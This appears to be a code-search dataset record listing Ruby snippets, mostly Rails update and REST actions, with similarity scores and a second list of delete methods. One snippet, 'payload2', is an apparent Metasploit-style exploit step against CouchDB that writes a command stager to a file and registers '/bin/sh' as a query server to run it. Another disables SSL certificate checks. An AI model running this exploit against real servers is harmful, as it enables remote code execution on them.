"def update\n @turbo_memoid = TurboMemoid.find(params[:id])\n\n respond_to do |format|\n if @turbo_memoid.update_attributes(params[:turbo_memoid])\n format.html { redirect_to @turbo_memoid, notice: 'Turbo memoid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @turbo_memoid.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n run_callbacks :update do\n connection.put(element_path(prefix_options), encode_changes, self.class.headers).tap do |response|\n load_attributes_from_response(response)\n end\n end\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def flag_xms_system_to_be_normal \n put(\"/globalsettings.json/xms/normal\")\nend",
"def set_microservice_document\n @microservice_document = MicroserviceDocument.find(params[:id])\n end",
"def uploadFile(fileName)\n\n puts \"Uploading '#{fileName}' to TestFlight ... \"\n\n currentTime = Time.new\n \n payload = {\n :api_token => API_TOKEN,\n :team_token => TEAM_TOKEN,\n :file => File.new(fileName.to_s, 'rb'),\n :notes => NOTES + \" (\"+currentTime.inspect+\")\",\n :distribution_lists => DIST_LIST,\n :notify => NOTIFY\n }\n \n begin\n response = RestClient.post(END_POINT, payload, :accept => :json)\n rescue => e\n response = e.response\n end\n \n if (response.code == 201) || (response.code == 200)\n puts \"Upload complete.\"\n else\n puts \"Upload failed. (#{response})\"\n end\n \nend",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/loan/v1\")\n end",
"def update\n response = http.request(request)\n\n if response.is_a?(Net::HTTPOK)\n body = response.body\n # test that we have sane looking JSON before we save it\n @tariff_data = JSON.parse(body)\n\n tariff_data_file.write(body)\n else\n LOGGER.fatal \"Error updating Octopus: #{response}\"\n end\n end",
"def create(bin_params)\n @rest.post('save', bin_params)\n end",
"def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end",
"def put(invoice_number, invoice_sequence)\n #xml = order_update_template % { status: status.to_i }\n #put_request(t_url(:order, order_id), xml)\n end",
"def update\n @bloom = Bloom.find(params[:id])\n\n respond_to do |format|\n if @bloom.update_attributes(params[:bloom])\n format.html { redirect_to @bloom, notice: 'Bloom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bloom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n\n update_params = {inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool}\n respond_to do |format|\n if @checklisten_vorlage.update(update_params)\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n else\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><error />'}\n end\n end\n end",
"def update\n @microposst = Microposst.find(params[:id])\n\n respond_to do |format|\n if @microposst.update_attributes(params[:microposst])\n format.html { redirect_to @microposst, notice: 'Microposst was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @microposst.errors, status: :unprocessable_entity }\n end\n end\n end",
"def request_put(path)\n\ttimestamp = Time.now.utc.iso8601\n\tauth = create_hmac_auth(\"PUT\", path, timestamp)\n\t\n\turi = URI($baseUrl + path)\n\n\trequest = Net::HTTP::Put.new(uri)\n\trequest.add_field(\"x-hp-hmac-authentication\", auth)\n\trequest.add_field(\"x-hp-hmac-date\", timestamp)\n\n\tresponse = Net::HTTP.start(uri.host, uri.port,\n\t\t:use_ssl => uri.scheme == 'https',\n\t\t:verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n\t\thttp.request(request)\n\tend\n\n\treturn response\nend",
"def update\n @mobs_nano = MobsNano.find(params[:id])\n\n respond_to do |format|\n if @mobs_nano.update_attributes(params[:mobs_nano])\n flash[:notice] = 'MobsNano was successfully updated.'\n format.html { redirect_to mobs_nano_url(@mobs_nano) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mobs_nano.errors.to_xml }\n end\n end\n end",
"def actualizar_fecha(comprobante)\n #Actualizar fecha del nodo Fecha\n node = comprobante.xpath('//@Fecha')[0]\n fecha = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S\")\n node.content = fecha\n comprobante\nend",
"def payload2\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_membership\"),\r\n 'method' => 'GET',\r\n 'authorization' => @auth\r\n )\r\n\r\n node = res.get_json_document['all_nodes'][0]\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd1}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd2}\"})\r\n )\r\n end",
"def userGetLibraryTSModified(userID)\n request('userGetLibraryTSModified', {'userID' => userID})\nend",
"def update_stream(name, params={})\n stream = ::M2X::Client::Stream.new(@client, self, \"name\" => name)\n\n stream.update!(params)\n end",
"def request(path, parameters = {})\n response = Basecamp.connection.post(path, convert_body(parameters), \"Content-Type\" => content_type)\n\n if response.code.to_i / 100 == 2\n result = XmlSimple.xml_in(response.body, 'keeproot' => true, 'contentkey' => '__content__', 'forcecontent' => true)\n typecast_value(result)\n else\n raise \"#{response.message} (#{response.code})\"\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def transmit_document!\n version_id = document_version_ref_id\n version_id.present? ? update_document(version_id) : upload_document\n end",
"def put!\n request! :put\n end",
"def update_metadata(params)\n @client.put(metadata_path, nil, params, \"Content-Type\" => \"application/json\")\n end",
"def test_putpoi_create_valid\n # This node has no tags\n\n # create a node with random lat/lon\n lat = rand(-50..49) + rand\n lon = rand(-50..49) + rand\n\n changeset = create(:changeset)\n user = changeset.user\n\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", changeset.id, nil, nil, lon, lat, {}, nil]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n # check the array returned by the amf\n assert_equal 5, result.size\n assert_equal 0, result[0], \"expected to get the status ok from the amf\"\n assert_equal 0, result[2], \"The old id should be 0\"\n assert result[3] > 0, \"The new id should be greater than 0\"\n assert_equal 1, result[4], \"The new version should be 1\"\n\n # Finally check that the node that was saved has saved the data correctly\n # in both the current and history tables\n # First check the current table\n current_node = Node.find(result[3].to_i)\n assert_in_delta lat, current_node.lat, 0.00001, \"The latitude was not retreieved correctly\"\n assert_in_delta lon, current_node.lon, 0.00001, \"The longitude was not retreived correctly\"\n assert_equal 0, current_node.tags.size, \"There seems to be a tag that has been added to the node\"\n assert_equal result[4], current_node.version, \"The version returned, is different to the one returned by the amf\"\n # Now check the history table\n historic_nodes = OldNode.where(:node_id => result[3])\n assert_equal 1, historic_nodes.size, \"There should only be one historic node created\"\n first_historic_node = historic_nodes.first\n assert_in_delta lat, first_historic_node.lat, 0.00001, \"The latitude was not retreived correctly\"\n assert_in_delta lon, first_historic_node.lon, 0.00001, \"The longitude was not retreuved correctly\"\n assert_equal 0, first_historic_node.tags.size, \"There seems to be a tag that have been attached to this node\"\n assert_equal result[4], first_historic_node.version, \"The version returned, is different to the one returned by the amf\"\n\n ####\n # This node has some tags\n\n # create a node with random lat/lon\n lat = rand(-50..49) + rand\n lon = rand(-50..49) + rand\n\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", changeset.id, nil, nil, lon, lat, { \"key\" => \"value\", \"ping\" => \"pong\" }, nil]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n # check the array returned by the amf\n assert_equal 5, result.size\n assert_equal 0, result[0], \"Expected to get the status ok in the amf\"\n assert_equal 0, result[2], \"The old id should be 0\"\n assert result[3] > 0, \"The new id should be greater than 0\"\n assert_equal 1, result[4], \"The new version should be 1\"\n\n # Finally check that the node that was saved has saved the data correctly\n # in both the current and history tables\n # First check the current table\n current_node = Node.find(result[3].to_i)\n assert_in_delta lat, current_node.lat, 0.00001, \"The latitude was not retreieved correctly\"\n assert_in_delta lon, current_node.lon, 0.00001, \"The longitude was not retreived correctly\"\n assert_equal 2, current_node.tags.size, \"There seems to be a tag that has been added to the node\"\n assert_equal({ \"key\" => \"value\", \"ping\" => \"pong\" }, current_node.tags, \"tags are different\")\n assert_equal result[4], current_node.version, \"The version returned, is different to the one returned by the amf\"\n # Now check the history table\n historic_nodes = OldNode.where(:node_id => result[3])\n assert_equal 1, historic_nodes.size, \"There should only be one historic node created\"\n first_historic_node = historic_nodes.first\n assert_in_delta lat, first_historic_node.lat, 0.00001, \"The latitude was not retreived correctly\"\n assert_in_delta lon, first_historic_node.lon, 0.00001, \"The longitude was not retreuved correctly\"\n assert_equal 2, first_historic_node.tags.size, \"There seems to be a tag that have been attached to this node\"\n assert_equal({ \"key\" => \"value\", \"ping\" => \"pong\" }, first_historic_node.tags, \"tags are different\")\n assert_equal result[4], first_historic_node.version, \"The version returned, is different to the one returned by the amf\"\n end",
"def update!(**args)\n @human_readable_version = args[:human_readable_version] if args.key?(:human_readable_version)\n @timestamp_micros = args[:timestamp_micros] if args.key?(:timestamp_micros)\n end",
"def update_metadata_field(field_name, value)\n @client.put(\"#{metadata_path}/#{field_name}\", nil, { value: value }, \"Content-Type\" => \"application/json\")\n end",
"def test_generate_request_xml_successful\n assert AxAccount.request_xml(\"CU 0100000\")\n end",
"def update_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n\n respond_to do |format|\n if @instrument_version.update_attributes(params[:instrument_version])\n flash[:notice] = 'InstrumentVersion was successfully updated.'\n format.html { redirect_to(@instrument_version) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @instrument_version.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bairro.update(bairro_params)\n format.html { redirect_to @bairro, notice: 'Bairro atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @bairro }\n else\n format.html { render :edit }\n format.json { render json: @bairro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bap = Bap.find(params[:id])\n\n respond_to do |format|\n if @bap.update_attributes(params[:bap])\n format.html { redirect_to(@bap, :notice => 'Bap was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bap.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/bankingaccount/v1\")\n end",
"def update\n @bio_signal = BioSignal.find(params[:id])\n\n respond_to do |format|\n if @bio_signal.update_attributes(params[:bio_signal])\n format.html { redirect_to @bio_signal, notice: 'Bio signal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bio_signal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_serial!\n update_serial\n save\n end",
"def post_to_solr(params,commit=true)\n url=\"#{Blacklight.default_index.connection.options[:url]}/update?commit=#{commit}\"\n RestClient.post url, params,:content_type => :json, :accept=>:json\n end",
"def update\n # @bill_quorum = BillQuorum.find(params[:id])\n\n respond_to do |format|\n if @bill_quorum.update_attributes(params[:bill_quorum])\n format.html { redirect_to @bill_quorum, notice: 'Bill Quorum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill_quorum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(value)\n $_api_queue.clear\n puts \"#{ApiSettings::API_PUT_PREFIX}#{value.to_s}#{ApiSettings::API_CMD_SUFFIX}\"\nend"
] |
[
"0.5635677",
"0.54242337",
"0.5412096",
"0.5296947",
"0.525578",
"0.5215971",
"0.5215148",
"0.52002347",
"0.516033",
"0.5117836",
"0.5117836",
"0.50986224",
"0.5068332",
"0.5057284",
"0.5057284",
"0.50561494",
"0.5006227",
"0.49837646",
"0.4969781",
"0.49559313",
"0.49379244",
"0.4921464",
"0.48993665",
"0.4881304",
"0.48790228",
"0.48767197",
"0.4869449",
"0.4848951",
"0.4824182",
"0.48065442",
"0.47984007",
"0.4788407",
"0.47825128",
"0.47729763",
"0.47670943",
"0.47599527",
"0.47539183",
"0.47217447",
"0.4711327",
"0.4711327",
"0.46979544",
"0.4696681",
"0.46867388",
"0.46784738",
"0.46780187",
"0.46707815",
"0.4667367",
"0.4663501",
"0.4654771",
"0.46493626",
"0.46489933",
"0.4648592",
"0.4638627",
"0.46367314",
"0.4622333",
"0.4619538",
"0.46065453",
"0.45821634",
"0.4575464",
"0.45655933",
"0.45645708",
"0.4564129",
"0.4561246",
"0.4558491",
"0.4552246",
"0.45402136",
"0.45395878",
"0.4533457",
"0.45278037",
"0.45257026",
"0.45253992",
"0.45252815",
"0.45235494",
"0.45225954",
"0.4522281",
"0.4521579",
"0.45190376",
"0.45173103",
"0.45115077",
"0.45102382",
"0.45012134",
"0.44963217",
"0.44936037",
"0.4492594",
"0.44866943",
"0.4482468",
"0.44817814",
"0.4481662",
"0.44794315",
"0.44771633",
"0.44753882",
"0.44745967",
"0.44719592",
"0.44698566",
"0.44657826",
"0.4465355",
"0.44628456",
"0.4460783",
"0.44590068",
"0.44570667"
] |
0.5889715
|
0
|
DELETE /bairro_micros/1 DELETE /bairro_micros/1.xml
|
def destroy
@bairro_micro = BairroMicro.find(params[:id])
@bairro_micro.destroy
respond_to do |format|
format.html { redirect_to(bairro_micros_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @browsenodeid = Browsenodeid.find(params[:id])\n @browsenodeid.destroy\n\n respond_to do |format|\n format.html { redirect_to(browsenodeids_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bairro = Bairro.find(params[:id])\n @bairro.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_bairros_path) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @lob.destroy\n\n head :no_content\n end",
"def destroy\n @bixo = Bixo.find(params[:id])\n @bixo.destroy\n\n respond_to do |format|\n format.html { redirect_to(bixos_url) }\n format.xml { head :ok }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete_now\n revisions.each do |rev_id| \n CouchDB.delete( \"#{uri}?rev=#{rev_id}\" )\n end\n true \n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @bom = Bom.find(params[:id])\n @bom.destroy\n\n respond_to do |format|\n format.html { redirect_to(boms_url) }\n format.xml { head :ok }\n end\n end",
"def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end",
"def destroy\n @bap = Bap.find(params[:id])\n @bap.destroy\n\n respond_to do |format|\n format.html { redirect_to(baps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @rubro.destroy\n\n respond_to do |format|\n format.html { redirect_to(rubros_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n client = Connection::MarkLogic.new.client\n client.send_corona_request(\"/v1/documents?uri=/amandments/amandment_#{@amandment.id}.xml\", :delete)\n @amandment.destroy\n respond_to do |format|\n format.html { redirect_to home_meeting_path, notice: 'Amandman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def file_delete(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"rm #{file}\", 'root', 500)\n code\nend",
"def file_delete(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"rm #{file}\", 'root', 500)\n code\nend",
"def destroy\n @raw_data_file = RawDataFile.find(params[:id])\n @raw_data_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(raw_data_files_url) }\n format.xml { head :ok }\n end\n end",
"def delete_file(path)\n \n puts \"Sending path via MCollective Files client\"\n @mc.delete(:path => path)\n printrpcstats\n \n end",
"def destroy\n @microarray = Microarray.find(params[:id])\n @microarray.destroy\n\n respond_to do |format|\n format.html { redirect_to(microarrays_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @microarray = Microarray.find(params[:id])\n @microarray.destroy\n\n respond_to do |format|\n format.html { redirect_to(microarrays_url) }\n format.xml { head :ok }\n end\n end",
"def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end",
"def destroy\n @upload_file = UploadFile.find(params[:id])\n doc_no=@upload_file.doc_no\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to upload_files_url(:doc_no=>doc_no) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bail = Bail.find(params[:id])\n# @bail.destroy\n\n respond_to do |format|\n format.html { redirect_to(bails_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @feefile = Feefile.find(params[:id])\n directory= \"uploads\"\n path =File.join(directory,@feefile.feefilename)\n File.delete(path)\n @feefile.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(feefiles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sa = Sa.find(params[:id])\n @sa.destroy\n\n respond_to do |format|\n format.html { redirect_to(sas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bdig = Bdig.find(params[:id])\n @bdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(bdigs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @recibo = Recibo.find(params[:recibo_id])\n @renglon_recdetalle = @recibo.renglon_recdetalles.find(params[:id]).destroy\n\n respond_to do |format|\n format.html { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @taxband = Taxband.find(params[:id])\n @taxband.destroy\n\n respond_to do |format|\n format.html { redirect_to(taxbands_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path)\n make_call(mk_conn(path), :delete)\n end",
"def destroy\n @Roc = Roc.find(params[:id])\n @Roc.destroy\n\n respond_to do |format|\n format.html { redirect_to(Rocs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def delete(path, params = {})\n debug_log \"DELETE #{@host}#{path} params:#{params}\"\n res = connection.delete path, params\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def destroy\n @fax_document = FaxDocument.find(params[:id])\n @fax_document.destroy\n \n respond_to do |format|\n format.html { redirect_to(fax_documents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @microsilica = Microsilica.find(params[:id])\n @microsilica.destroy\n\n respond_to do |format|\n format.html { redirect_to(microsilicas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @helibasis = Helibase.find(params[:id])\n @helibasis.destroy\n\n respond_to do |format|\n format.html { redirect_to(helibases_url) }\n format.xml { head :ok }\n end\n end",
"def delete(unique_id)\n rsp = post(\"<delete><id>#{unique_id}</id></delete>\")\n success?(rsp.body) or log_error(rsp.body)\n end",
"def destroy\n self.class.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\n end",
"def destroy\n self.class.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\n end",
"def deleteFileFromServer(filepath)\n filepath = filepath[1, filepath.length - 1] \n address = @@host + \"/user/\" + @@conf[\"username\"] + \"/device/\" + @@conf[\"dev_name\"] + \"/files/\" + filepath\n \n res = HttpRequest.new(:delete, address).send(@@host) \n puts res\n puts \"CODE: \" + res.code\n\nend",
"def delete_file_from_database(file_id)\n $db.execute(\"DELETE FROM files WHERE id = ?\", file_id)\n $db.execute(\"DELETE FROM file_share_table WHERE file_id = ?\", file_id)\nend",
"def destroy\n @bonificacion = Bonificacion.find(params[:id])\n @bonificacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(bonificacions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @orc_ata = OrcAta.find(params[:id])\n @orc_ata.destroy\n @ata =\n respond_to do |format|\n format.html { redirect_to( home_path ) }\n\n format.xml { head :ok }\n end\n end",
"def delete\n conn.delete(escaped_path)\n true\n rescue StandardError => e\n puts \"carrierwave-upyun delete failed: #{e.inspect}\"\n nil\n end",
"def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @bio = Bio.find(params[:id])\n @bio.destroy\n\n respond_to do |format|\n format.html { redirect_to(bios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ambito = Ambito.find(params[:id])\n @ambito.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambitos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @omatsuri = Omatsuri.find(params[:id])\n @omatsuri.destroy\n\n respond_to do |format|\n format.html { redirect_to(omatsuris_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def destroy\n @ofx_transaction.destroy\n\n head :no_content\n end",
"def destroy\n @remocao = Remocao.find(params[:id])\n @remocao.destroy\n\n respond_to do |format|\n format.html { redirect_to(remocaos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feria2010observacion = Feria2010observacion.find(params[:id])\n @feria2010observacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2010observaciones_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def destroy\n @micromessage = Micromessage.find(params[:id])\n @micromessage.destroy\n\n respond_to do |format|\n format.html { redirect_to(micromessages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bus = Bus.find(params[:id])\n @bus.destroy\n\n respond_to do |format|\n format.html { redirect_to(buses_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end",
"def destroy\n @roaster = Roaster.find(params[:id])\n @roaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(roasters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n \tself.class.mongo_client.database.fs.find(:_id => BSON::ObjectId(@id)).delete_one\n end",
"def delete(*uris); end",
"def destroy\n @aisle = Aisle.find(params[:id])\n @aisle.destroy\n\n respond_to do |format|\n format.html { redirect_to(aisles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bnote = Bnote.find(params[:id])\n @bnote.destroy\n\n respond_to do |format|\n format.html { redirect_to(bnotes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @server_rack = ServerRack.find(params[:id])\n @server_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to(server_racks_url) }\n format.xml { head :ok }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @bitacora = Bitacora.find(params[:id])\n @bitacora.destroy\n\n respond_to do |format|\n format.html { redirect_to bitacoras_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @orc_ficha = OrcFicha.find(params[:id])\n @orc_ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to(orc_fichas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @irb = Irb.find(params[:id])\n @irb.destroy\n\n respond_to do |format|\n format.html { redirect_to(irb_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bio = Bio.find(params[:id])\n @bio.destroy\n\n respond_to do |format|\n format.html { redirect_to bios_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lb202556 = Lb202556.find(params[:id])\n @lb202556.destroy\n\n respond_to do |format|\n format.html { redirect_to(lb202556s_url) }\n format.xml { head :ok }\n end\n end",
"def rm(*path)\n super; on_success{ nil }\n end",
"def smb_file_rm(file)\n fd = smb_open(file, 'ro')\n fd.delete\nend",
"def destroy\n @document.destroy\n save_log({ :action => 'DELETE', :document => { :before => @old_document }})\n #TODO delete the file from disk\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end",
"def remove\n valid = parse_valid(params)\n # puts valid\n choose = $db.search(\"//book[\"+valid+\"]\").remove\n size = 0\n for i in choose\n size += 1\n end\n $file = open PATH, \"w\"\n $file.write $db\n $file.close\n render :soap => \"<result>\"+size.to_s+\"</result>\"\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def destroy\n @band = Band.find(params[:id])\n @band.destroy\n\n respond_to do |format|\n format.html { redirect_to(bands_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bits_1.destroy\n respond_to do |format|\n format.html { redirect_to bits_1s_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\n node = @job.nodes.find(params[:id])\n @job.nodes.delete(node)\n\n respond_to do |format|\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n end\n end",
